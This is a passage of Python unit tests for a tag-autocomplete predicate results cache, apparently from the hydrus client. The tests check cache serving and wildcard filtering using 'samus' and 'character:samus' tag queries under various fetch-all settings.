tag_autocomplete_options, True ) pat_character_samus = ClientSearch.ParsedAutocompleteText( 'character:samus', tag_autocomplete_options, True ) pat_character_samus_ar = ClientSearch.ParsedAutocompleteText( 'character:samus ar', tag_autocomplete_options, True ) pat_character_samus_br = ClientSearch.ParsedAutocompleteText( 'character:samus br', tag_autocomplete_options, True ) pat_metroid = ClientSearch.ParsedAutocompleteText( 'metroid', tag_autocomplete_options, True ) pat_series_samus = ClientSearch.ParsedAutocompleteText( 'series:samus', tag_autocomplete_options, True ) predicate_results_cache = ClientSearch.PredicateResultsCacheInit() self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, False ), False ) def test_predicate_results_cache_system( self ): tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) search_namespaces_into_full_tags = False namespace_bare_fetch_all_allowed = False namespace_fetch_all_allowed = False fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) pat_empty = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) pat_samus = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) pat_samus_ar = ClientSearch.ParsedAutocompleteText( 'samus ar', tag_autocomplete_options, True ) pat_samus_br = ClientSearch.ParsedAutocompleteText( 'samus br', tag_autocomplete_options, True ) pat_character_samus = ClientSearch.ParsedAutocompleteText( 'character:samus', tag_autocomplete_options, True ) pat_character_samus_ar = ClientSearch.ParsedAutocompleteText( 'character:samus ar', tag_autocomplete_options, True ) pat_character_samus_br = ClientSearch.ParsedAutocompleteText( 'character:samus br', tag_autocomplete_options, True ) pat_metroid = ClientSearch.ParsedAutocompleteText( 'metroid', tag_autocomplete_options, True ) pat_series_samus = ClientSearch.ParsedAutocompleteText( 'series:samus', tag_autocomplete_options, True ) predicates = [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_INBOX ) ] predicate_results_cache = ClientSearch.PredicateResultsCacheSystem( predicates ) self.assertEqual( predicate_results_cache.GetPredicates(), predicates ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, False ), False ) def test_predicate_results_cache_subtag_normal( self ): tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) search_namespaces_into_full_tags = False namespace_bare_fetch_all_allowed = False namespace_fetch_all_allowed = False fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) pat_empty = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) pat_samus = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) pat_samus_ar = ClientSearch.ParsedAutocompleteText( 'samus ar', tag_autocomplete_options, True ) pat_samus_br = ClientSearch.ParsedAutocompleteText( 'samus br', tag_autocomplete_options, True ) pat_character_samus = ClientSearch.ParsedAutocompleteText( 'character:samus', tag_autocomplete_options, True ) pat_character_samus_ar = ClientSearch.ParsedAutocompleteText( 'character:samus ar', tag_autocomplete_options, True ) pat_character_samus_br = ClientSearch.ParsedAutocompleteText( 'character:samus br', tag_autocomplete_options, True ) pat_metroid = ClientSearch.ParsedAutocompleteText( 'metroid', tag_autocomplete_options, True ) pat_series_samus = ClientSearch.ParsedAutocompleteText( 'series:samus', tag_autocomplete_options, True ) samus = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus' ) samus_aran = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus aran' ) character_samus_aran = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'character:samus aran' ) # predicates = [ samus, samus_aran, character_samus_aran ] predicate_results_cache = ClientSearch.PredicateResultsCacheTag( predicates, 'samus', False ) self.assertEqual( predicate_results_cache.GetPredicates(), predicates ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_br, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_br, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, False ), False ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'samus' ) ), { samus, samus_aran, character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'samus*' ) ), { samus, samus_aran, character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'samas br*' ) ), set() ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'samus ar*' ) ), { samus_aran, character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'samus aran*' ) ), { samus_aran, character_samus_aran } ) def test_predicate_results_cache_subtag_exact( self ): tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) search_namespaces_into_full_tags = False namespace_bare_fetch_all_allowed = False namespace_fetch_all_allowed = False fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) pat_empty = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) pat_samus = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) pat_samus_ar = ClientSearch.ParsedAutocompleteText( 'samus ar', tag_autocomplete_options, True ) pat_samus_br = ClientSearch.ParsedAutocompleteText( 'samus br', tag_autocomplete_options, True ) pat_character_samus = ClientSearch.ParsedAutocompleteText( 'character:samus', tag_autocomplete_options, True ) pat_character_samus_ar = ClientSearch.ParsedAutocompleteText( 'character:samus ar', tag_autocomplete_options, True ) pat_character_samus_br = ClientSearch.ParsedAutocompleteText( 'character:samus br', tag_autocomplete_options, True ) pat_metroid = ClientSearch.ParsedAutocompleteText( 'metroid', tag_autocomplete_options, True ) pat_series_samus = ClientSearch.ParsedAutocompleteText( 'series:samus', tag_autocomplete_options, True ) samus = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus' ) samus_aran = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus aran' ) character_samus_aran = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'character:samus aran' ) predicates = [ samus ] predicate_results_cache = ClientSearch.PredicateResultsCacheTag( predicates, 'samus', True ) self.assertEqual( predicate_results_cache.GetPredicates(), predicates ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, False ), False ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'samus' ) ), { samus } ) def test_predicate_results_cache_full_normal( self ): tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) search_namespaces_into_full_tags = False namespace_bare_fetch_all_allowed = False namespace_fetch_all_allowed = False fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) pat_empty = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) pat_samus = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) pat_samus_ar = ClientSearch.ParsedAutocompleteText( 'samus ar', tag_autocomplete_options, True ) pat_samus_br = ClientSearch.ParsedAutocompleteText( 'samus br', tag_autocomplete_options, True ) pat_character_samus = ClientSearch.ParsedAutocompleteText( 'character:samus', tag_autocomplete_options, True ) pat_character_samus_ar = ClientSearch.ParsedAutocompleteText( 'character:samus ar', tag_autocomplete_options, True ) pat_character_samus_br = ClientSearch.ParsedAutocompleteText( 'character:samus br', tag_autocomplete_options, True ) pat_metroid = ClientSearch.ParsedAutocompleteText( 'metroid', tag_autocomplete_options, True ) pat_series_samus = ClientSearch.ParsedAutocompleteText( 'series:samus', tag_autocomplete_options, True ) samus = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus' ) samus_aran = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus aran' ) character_samus_aran = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'character:samus aran' ) predicates = [ character_samus_aran ] predicate_results_cache = ClientSearch.PredicateResultsCacheTag( predicates, 'character:samus', False ) self.assertEqual( predicate_results_cache.GetPredicates(), predicates ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, False ), False ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus*' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus ar*' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus br*' ) ), set() ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus aran*' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'characte:samus aran*' ) ), set() ) def test_predicate_results_cache_namespace_explicit_fetch_all( self ): tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) search_namespaces_into_full_tags = False namespace_bare_fetch_all_allowed = False namespace_fetch_all_allowed = False fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) pat_empty = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) pat_samus = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) pat_samus_ar = ClientSearch.ParsedAutocompleteText( 'samus ar', tag_autocomplete_options, True ) pat_samus_br = ClientSearch.ParsedAutocompleteText( 'samus br', tag_autocomplete_options, True ) pat_character_samus = ClientSearch.ParsedAutocompleteText( 'character:samus', tag_autocomplete_options, True ) pat_character_samus_ar = ClientSearch.ParsedAutocompleteText( 'character:samus ar', tag_autocomplete_options, True ) pat_character_samus_br = ClientSearch.ParsedAutocompleteText( 'character:samus br', tag_autocomplete_options, True ) pat_metroid = ClientSearch.ParsedAutocompleteText( 'metroid', tag_autocomplete_options, True ) pat_series_samus = ClientSearch.ParsedAutocompleteText( 'series:samus', tag_autocomplete_options, True ) samus = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus' ) samus_aran = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus aran' ) character_samus_aran = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'character:samus aran' ) predicates = [ character_samus_aran ] predicate_results_cache = ClientSearch.PredicateResultsCacheTag( predicates, 'character:*', False ) self.assertEqual( predicate_results_cache.GetPredicates(), predicates ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, False ), False ) # search_namespaces_into_full_tags = False namespace_bare_fetch_all_allowed = False namespace_fetch_all_allowed = True fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) pat_empty = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) pat_samus = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) pat_samus_ar = ClientSearch.ParsedAutocompleteText( 'samus ar', tag_autocomplete_options, True ) pat_samus_br = ClientSearch.ParsedAutocompleteText( 'samus br', tag_autocomplete_options, True ) pat_character_samus = ClientSearch.ParsedAutocompleteText( 'character:samus', tag_autocomplete_options, True ) pat_character_samus_ar = ClientSearch.ParsedAutocompleteText( 'character:samus ar', tag_autocomplete_options, True ) pat_character_samus_br = ClientSearch.ParsedAutocompleteText( 'character:samus br', tag_autocomplete_options, True ) pat_metroid = ClientSearch.ParsedAutocompleteText( 'metroid', tag_autocomplete_options, True ) pat_series_samus = ClientSearch.ParsedAutocompleteText( 'series:samus', tag_autocomplete_options, True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, False ), False ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus*' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus ar*' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus br*' ) ), set() ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus aran*' ) ), { character_samus_aran } ) def test_predicate_results_cache_namespace_bare_fetch_all( self ): tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) search_namespaces_into_full_tags = False namespace_bare_fetch_all_allowed = False namespace_fetch_all_allowed = False fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) pat_empty = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) pat_samus = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) pat_samus_ar = ClientSearch.ParsedAutocompleteText( 'samus ar', tag_autocomplete_options, True ) pat_samus_br = ClientSearch.ParsedAutocompleteText( 'samus br', tag_autocomplete_options, True ) pat_character_samus = ClientSearch.ParsedAutocompleteText( 'character:samus', tag_autocomplete_options, True ) pat_character_samus_ar = ClientSearch.ParsedAutocompleteText( 'character:samus ar', tag_autocomplete_options, True ) pat_character_samus_br = ClientSearch.ParsedAutocompleteText( 'character:samus br', tag_autocomplete_options, True ) pat_metroid = ClientSearch.ParsedAutocompleteText( 'metroid', tag_autocomplete_options, True ) pat_series_samus = ClientSearch.ParsedAutocompleteText( 'series:samus', tag_autocomplete_options, True ) samus = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus' ) samus_aran = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus aran' ) character_samus_aran = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'character:samus aran' ) predicates = [ character_samus_aran ] predicate_results_cache = ClientSearch.PredicateResultsCacheTag( predicates, 'character:', False ) self.assertEqual( predicate_results_cache.GetPredicates(), predicates ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, False ), False ) # search_namespaces_into_full_tags = False namespace_bare_fetch_all_allowed = True namespace_fetch_all_allowed = True fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) pat_empty = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) pat_samus = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) pat_samus_ar = ClientSearch.ParsedAutocompleteText( 'samus ar', tag_autocomplete_options, True ) pat_samus_br = ClientSearch.ParsedAutocompleteText( 'samus br', tag_autocomplete_options, True ) pat_character_samus = ClientSearch.ParsedAutocompleteText( 'character:samus', tag_autocomplete_options, True ) pat_character_samus_ar = ClientSearch.ParsedAutocompleteText( 'character:samus ar', tag_autocomplete_options, True ) pat_character_samus_br = ClientSearch.ParsedAutocompleteText( 'character:samus br', tag_autocomplete_options, True ) pat_metroid = ClientSearch.ParsedAutocompleteText( 'metroid', tag_autocomplete_options, True ) pat_series_samus = ClientSearch.ParsedAutocompleteText( 'series:samus', tag_autocomplete_options, True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, False ), False ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus*' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus ar*' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus br*' ) ), set() ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus aran*' ) ), { character_samus_aran } ) def test_predicate_results_cache_namespaces_into_full_tags( self ): tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) search_namespaces_into_full_tags = False namespace_bare_fetch_all_allowed = False namespace_fetch_all_allowed = False fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) pat_empty = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) pat_samus = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) pat_samus_ar = ClientSearch.ParsedAutocompleteText( 'samus ar', tag_autocomplete_options, True ) pat_samus_br = ClientSearch.ParsedAutocompleteText( 'samus br', tag_autocomplete_options, True ) pat_character_samus = ClientSearch.ParsedAutocompleteText( 'character:samus', tag_autocomplete_options, True ) pat_character_samus_ar = ClientSearch.ParsedAutocompleteText( 'character:samus ar', tag_autocomplete_options, True ) pat_character_samus_br = ClientSearch.ParsedAutocompleteText( 'character:samus br', tag_autocomplete_options, True ) pat_metroid = ClientSearch.ParsedAutocompleteText( 'metroid', tag_autocomplete_options, True ) pat_series_samus = ClientSearch.ParsedAutocompleteText( 'series:samus', tag_autocomplete_options, True ) samus = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus' ) samus_aran = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus aran' ) character_samus_aran = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'character:samus aran' ) predicates = [ character_samus_aran ] predicate_results_cache = ClientSearch.PredicateResultsCacheTag( predicates, 'char', False ) self.assertEqual( predicate_results_cache.GetPredicates(), predicates 